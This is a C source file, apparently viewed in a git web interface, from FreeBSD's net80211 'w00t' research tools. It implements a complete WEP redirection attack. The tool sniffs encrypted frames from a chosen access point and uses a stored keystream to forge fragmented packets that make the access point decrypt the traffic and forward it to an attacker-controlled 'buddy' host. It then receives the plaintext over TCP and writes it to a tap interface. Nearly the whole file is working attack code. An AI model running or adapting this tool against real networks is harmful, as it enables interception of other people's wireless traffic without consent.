Sweep-fix comparing pointers with 0 (and assigning 0 to pointers).
[games.git] / tools / tools / net80211 / w00t / redir / redir.c
1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  *
26  * $FreeBSD: src/tools/tools/net80211/w00t/redir/redir.c,v 1.2 2009/07/24 15:31:22 sam Exp $
27  */
28 #include <sys/time.h>
29 #include <sys/types.h>
30 #include <sys/socket.h>
31 #include <sys/uio.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
36 #include <string.h>
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <unistd.h>
40 #include <fcntl.h>
41 #include <err.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include "w00t.h"
45
46 enum {
47         S_START = 0,
48         S_WAIT_ACK,
49         S_WAIT_BUDDY
50 };
51
52 struct queue {
53         struct ieee80211_frame *wh;
54         int len;
55         int id;
56
57         char *buf;
58         int live;
59         struct queue *next;
60 };
61
62 struct params {
63         int rx;
64         int tx;
65
66         int s;
67         int port;
68
69         int tap;
70
71         char mac[6];
72         char ap[6];
73         char rtr[6];
74         struct in_addr src;
75         struct in_addr dst;
76
77         char prga[2048];
78         int prga_len;
79         char iv[3];
80         char *fname;
81
82         int state;
83
84         struct queue *q;
85
86         char packet[2048];
87         int packet_len;
88         struct timeval last;
89         int id;
90         int data_try;
91
92         int seq;
93         int frag;
94
95         char buddy_data[2048];
96         int buddy_got;
97 };
98
99 void load_prga(struct params *p)
100 {
101         int fd;
102         int rd;
103
104         fd = open(p->fname, O_RDONLY);
105         if (fd == -1) {
106                 p->prga_len = 0;
107                 return;
108         }
109
110         rd = read(fd, p->iv, 3);
111         if (rd == -1)
112                 err(1, "read()");
113         if (rd != 3) {
114                 printf("Short read\n");
115                 exit(1);
116         }
117
118         rd = read(fd, p->prga, sizeof(p->prga));
119         if (rd == -1)
120                 err(1, "read()");
121         p->prga_len = rd;
122
123         printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
124         close(fd);
125 }
126
127 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
128 {
129         char *bssid, *sa;
130
131         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
132                 bssid = wh->i_addr1;
133                 sa = wh->i_addr2;
134         }
135         else {
136                 bssid = wh->i_addr2;
137                 sa = wh->i_addr3;
138         }
139
140         if (memcmp(bssid, p->ap, 6) != 0)
141                 return 0;
142
143         if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
144                 printf("Got non WEP packet...\n");
145                 return 0;
146         }
147
148         /* my own shit */
149         if (memcmp(p->mac, sa, 6) == 0)
150                 return 0;
151
152         return 1;
153 }
154
155 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
156 {
157         struct queue *q = p->q;
158         int qlen = 0;
159         char *ret = NULL;
160         struct queue *last = NULL;
161
162         /* find a slot */
163         while (q) {
164                 if (q->live)
165                         qlen++;
166                 else {
167                         /* recycle */
168                         ret = q->buf;
169                         break;
170                 }
171
172                 last = q;
173                 q = q->next;
174         }
175
176         /* need to create slot */
177         if (!q) {
178                 q = (struct queue*) malloc(sizeof(*q));
179                 if (!q)
180                         err(1, "malloc()");
181                 memset(q, 0, sizeof(*q));
182
183                 /* insert */
184                 if (!p->q)
185                         p->q = q;
186                 else {
187                         assert(last);
188                         last->next = q;
189                 }
190         }
191
192         q->live = 1;
193         q->buf = *buf;
194         q->len = len;
195         q->wh = wh;
196         q->id = p->id++;
197
198         qlen++;
199
200         if (qlen > 5)
201                 printf("Enque.  Size: %d\n", qlen);
202         *buf = ret;
203 }
204
205 /********** RIPPED
206 ************/
207 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
208   register long sum;
209   u_short oddbyte;
210   register u_short answer;
211
212   sum = 0;
213   while (nbytes > 1)
214     {
215       sum += *ptr++;
216       nbytes -= 2;
217     }
218
219   if (nbytes == 1)
220     {
221       oddbyte = 0;
222       *((u_char *) & oddbyte) = *(u_char *) ptr;
223       sum += oddbyte;
224     }
225
226   sum = (sum >> 16) + (sum & 0xffff);
227   sum += (sum >> 16);
228   answer = ~sum;
229   return (answer);
230 }
231 /**************
232 ************/
233
234 void send_packet(struct params *p)
235 {
236         int rc;
237         struct ieee80211_frame *wh;
238
239         rc = inject(p->tx, p->packet, p->packet_len);
240         if (rc == -1)
241                 err(1, "inject()");
242         if (rc != p->packet_len) {
243                 printf("Wrote %d/%d\n", rc, p->packet_len);
244                 exit(1);
245         }
246
247         p->data_try++;
248         wh = (struct ieee80211_frame*) p->packet;
249         wh->i_fc[1] |= IEEE80211_FC1_RETRY;
250
251         if (gettimeofday(&p->last, NULL) == -1)
252                 err(1, "gettimeofday()");
253 }
254
255 void send_header(struct params *p, struct queue *q)
256 {
257         struct ieee80211_frame *wh;
258         short *pseq;
259         char *ptr;
260         struct ip *ih;
261         int len, i;
262         uLong crc = crc32(0L, Z_NULL, 0);
263         uLong *pcrc;
264
265         /* 802.11 */
266         memset(p->packet, 0, sizeof(p->packet));
267         wh = (struct ieee80211_frame *) p->packet;
268         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
269         wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
270         wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
271         wh->i_fc[1] |= IEEE80211_FC1_WEP;
272         wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
273
274         wh->i_dur[0] = 0x69;
275
276         memcpy(wh->i_addr1, p->ap, 6);
277         memcpy(wh->i_addr2, p->mac, 6);
278         memcpy(wh->i_addr3, p->rtr, 6);
279
280         pseq = (short*) wh->i_seq;
281         p->frag = 0;
282         p->seq++;
283         *pseq = seqfn(p->seq, p->frag++);
284
285         /* IV */
286         ptr = (char*) (wh+1);
287         memcpy(ptr, p->iv, 3);
288         ptr += 4;
289
290         /* LLC/SNAP */
291         memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
292
293         /* IP */
294         ih = (struct ip*) (ptr+8);
295         ih->ip_v = 4;
296         ih->ip_hl = 5;
297         len = q->len  - sizeof(*wh) - 4 - 4 + 20;
298         ih->ip_len = htons(len);
299         ih->ip_id = htons(q->id);
300         ih->ip_ttl = 69;
301         ih->ip_p = 0;
302         ih->ip_src.s_addr = p->src.s_addr;
303         ih->ip_dst.s_addr = p->dst.s_addr;
304         ih->ip_sum = in_cksum((unsigned short*)ih, 20);
305
306         /* ICV */
307         len = 8 + 20;
308         crc = crc32(crc, ptr, len);
309         pcrc = (uLong*) (ptr+len);
310         *pcrc = crc;
311
312         /* wepify */
313         for (i = 0; i < len + 4; i++)
314                 ptr[i] ^= p->prga[i];
315
316         p->packet_len = sizeof(*wh) + 4 + len + 4;
317         p->data_try = 0;
318         send_packet(p);
319 }
320
321 void send_queue(struct params *p)
322 {
323         struct queue *q = p->q;
324
325         assert(q);
326         assert(q->live);
327
328         send_header(p, q);
329         p->state = S_WAIT_ACK;
330 }
331
332 void send_data(struct params *p)
333 {
334         struct ieee80211_frame *wh;
335         short *seq;
336         struct queue *q = p->q;
337         char *dst, *src;
338         int len;
339
340         assert(q);
341
342         /* 802.11 */
343         memset(p->packet, 0, sizeof(p->packet));
344         wh = (struct ieee80211_frame*) p->packet;
345         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
346         wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
347         wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
348         wh->i_fc[1] |= IEEE80211_FC1_WEP;
349
350         wh->i_dur[0] = 0x69;
351
352         memcpy(wh->i_addr1, p->ap, 6);
353         memcpy(wh->i_addr2, p->mac, 6);
354         memcpy(wh->i_addr3, p->rtr, 6);
355
356         seq = (short*) wh->i_seq;
357         *seq = seqfn(p->seq, p->frag++);
358
359         /* data */
360         dst = (char*) (wh+1);
361         src = (char*) (q->wh+1);
362         len = q->len - sizeof(*wh);
363         memcpy(dst, src, len);
364
365         p->packet_len = sizeof(*wh) + len;
366         p->data_try = 0;
367         send_packet(p);
368 }
369
370 void got_ack(struct params *p)
371 {
372         switch (p->frag) {
373         case 1:
374                 send_data(p);
375                 break;
376
377         case 2:
378                 p->state = S_WAIT_BUDDY;
379                 p->data_try = 69;
380                 break;
381         }
382 }
383
384 void read_wifi(struct params *p)
385 {
386         static char *buf = NULL;
387         static int buflen = 4096;
388         struct ieee80211_frame *wh;
389         int rc;
390
391         if (!buf) {
392                 buf = (char*) malloc(buflen);
393                 if (!buf)
394                         err(1, "malloc()");
395         }
396
397         rc = sniff(p->rx, buf, buflen);
398         if (rc == -1)
399                 err(1, "sniff()");
400
401         wh = get_wifi(buf, &rc);
402         if (!wh)
403                 return;
404
405         /* acks */
406         if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
407             (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
408                 got_ack(p);
409                 return;
410         }
411
412         /* data */
413         if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
414                        IEEE80211_FC0_SUBTYPE_DATA)) {
415                 if (!wanted(p, wh, rc))
416                         return;
417
418                 enque(p, &buf, wh, rc);
419                 if (p->state == S_START)
420                         send_queue(p);
421                 return;
422         }
423 }
424
425 int connect_buddy(struct params *p)
426 {
427         struct sockaddr_in s_in;
428
429         memset(&s_in, 0, sizeof(s_in));
430         s_in.sin_family = PF_INET;
431         s_in.sin_port = htons(p->port);
432         s_in.sin_addr.s_addr = p->dst.s_addr;
433
434         if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
435                 return -1;
436
437         if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
438                 return -1;
439
440         return 0;
441 }
442
443 void buddy_reset(struct params *p)
444 {
445         p->buddy_got = 0;
446
447         if (connect_buddy(p) == -1)
448                 err(1, "connect_buddy()");
449 }
450
451 int buddy_get(struct params *p, int len)
452 {
453         int rd;
454
455         rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
456         if (rd <= 0) {
457                 buddy_reset(p);
458                 return 0;
459         }
460
461         p->buddy_got += rd;
462         return rd == len;
463 }
464
465 void read_buddy_head(struct params *p)
466 {
467         int rem;
468
469         rem = 4 - p->buddy_got;
470
471         if (!buddy_get(p, rem))
472                 return;
473 }
474
475 void read_buddy_data(struct params *p)
476 {
477         unsigned short *ptr = (unsigned short*) p->buddy_data;
478         int id, len, rem;
479         struct queue *q = p->q;
480         struct queue *last = p->q;
481         char mac[12];
482         struct iovec iov[2];
483
484         id = ntohs(*ptr++);
485         len = ntohs(*ptr++);
486
487         rem = len + 4 - p->buddy_got;
488
489         assert(rem > 0);
490         if (!buddy_get(p, rem))
491                 return;
492
493         /* w00t, got it */
494 #if 0
495         printf("id=%d len=%d\n", id, len);
496 #endif
497         p->buddy_got = 0;
498
499         /* feedback loop bullshit */
500         if (!q)
501                 return;
502         if (!q->live)
503                 return;
504
505         /* sanity chex */
506         if (q->id != id) {
507                 printf("Diff ID\n");
508                 return;
509         }
510
511         rem = q->len - sizeof(*q->wh) - 4 - 4;
512         if (rem != len) {
513                 printf("Diff len\n");
514                 return;
515         }
516
517         /* tap */
518         if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
519                 memcpy(mac, q->wh->i_addr3, 6);
520                 memcpy(&mac[6], q->wh->i_addr2, 6);
521         } else {
522                 memcpy(mac, q->wh->i_addr1, 6);
523                 memcpy(&mac[6], q->wh->i_addr3, 6);
524         }
525         iov[0].iov_base = mac;
526         iov[0].iov_len = sizeof(mac);
527         iov[1].iov_base = (char*)ptr + 8 - 2;
528         iov[1].iov_len = len - 8 + 2;
529
530         rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
531         if (rem == -1)
532                 err(1, "writev()");
533         if (rem != (14+(len-8))) {
534                 printf("Short write %d\n", rem);
535                 exit(1);
536         }
537
538         /* deque */
539         q->live = 0;
540         if (q->next) {
541
542                 p->q = q->next;
543
544                 while (last) {
545                         if (!last->next) {
546                                 last->next = q;
547                                 q->next = NULL;
548                                 break;
549                         }
550                         last = last->next;
551                 }
552         }
553
554         /* drain queue */
555         p->state = S_START;
556         if (p->q->live)
557                 send_queue(p);
558 }
559
560 void read_buddy(struct params *p)
561 {
562         if (p->buddy_got < 4)
563                 read_buddy_head(p);
564         else
565                 read_buddy_data(p);
566 }
567
568 void own(struct params *p)
569 {
570         struct timeval tv;
571         struct timeval *to = NULL;
572         fd_set fds;
573         int max;
574         int tout_ack = 10*1000;
575         int tout_buddy = 2*1000*1000;
576         int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
577
578         if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
579                 int el;
580
581                 /* check timeout */
582                 if (gettimeofday(&tv, NULL) == -1)
583                         err(1, "gettimeofday()");
584
585                 el = elapsed(&p->last, &tv);
586
587                 /* timeout */
588                 if (el >= tout) {
589                         if (p->data_try > 3) {
590                                 p->state = S_START;
591                                 return;
592                         } else {
593                                 send_packet(p);
594                                 el = 0;
595                         }
596                 }
597                 el = tout - el;
598                 tv.tv_sec = el/1000/1000;
599                 tv.tv_usec = el - tv.tv_sec*1000*1000;
600                 to = &tv;
601         }
602
603         FD_ZERO(&fds);
604         FD_SET(p->rx, &fds);
605         FD_SET(p->s, &fds);
606         max = (p->rx > p->s) ? p->rx : p->s;
607
608         if (select(max+1, &fds, NULL, NULL, to) == -1)
609                 err(1, "select()");
610
611         if (FD_ISSET(p->rx, &fds))
612                 read_wifi(p);
613         if (FD_ISSET(p->s, &fds))
614                 read_buddy(p);
615 }
616
617 void usage(char *name)
618 {
619         printf("Usage %s <opts>\n"
620                "-h\thelp\n"
621                "-d\t<buddy ip>\n"
622                "-p\t<port>\n"
623                "-b\t<bssid>\n"
624                "-t\t<tap>\n"
625                "-r\t<rtr>\n"
626                "-s\t<source ip>\n"
627                , name);
628         exit(1);
629 }
630
631 int main(int argc, char *argv[])
632 {
633         struct params p;
634         char *iface = "wlan0";
635         char *tap = "tap0";
636         int ch;
637
638         memset(&p, 0, sizeof(p));
639         memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
640         p.fname = "prga.log";
641         p.seq = getpid();
642
643         while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
644                 switch (ch) {
645                 case 's':
646                         if (!inet_aton(optarg, &p.src)) {
647                                 printf("Can't parse src IP\n");
648                                 exit(1);
649                         }
650                         break;
651
652                 case 'r':
653                         if (str2mac(p.rtr, optarg) == -1) {
654                                 printf("Can't parse rtr MAC\n");
655                                 exit(1);
656                         }
657                         break;
658
659                 case 't':
660                         tap = optarg;
661                         break;
662
663                 case 'b':
664                         if (str2mac(p.ap, optarg) == -1) {
665                                 printf("Can't parse BSSID\n");
666                                 exit(1);
667                         }
668                         break;
669
670                 case 'd':
671                         if (!inet_aton(optarg, &p.dst)) {
672                                 printf("Can't parse IP\n");
673                                 exit(1);
674                         }
675                         break;
676
677                 case 'p':
678                         p.port = atoi(optarg);
679                         break;
680
681                 case 'h':
682                 default:
683                         usage(argv[0]);
684                         break;
685                 }
686         }
687
688         load_prga(&p);
689         assert(p.prga_len > 60);
690
691         if ((p.rx = open_rx(iface)) == -1)
692                 err(1, "open_rx()");
693         if ((p.tx = open_tx(iface)) == -1)
694                 err(1, "open_tx()");
695
696         if ((p.tap = open_tap(tap)) == -1)
697                 err(1, "open_tap()");
698         if (set_iface_mac(tap, p.mac) == -1)
699                 err(1, "set_iface_mac()");
700
701         if (connect_buddy(&p) == -1)
702                 err(1, "connect_buddy()");
703
704         p.state = S_START;
705         while (1)
706                 own(&p);
707
708         exit(0);
709 }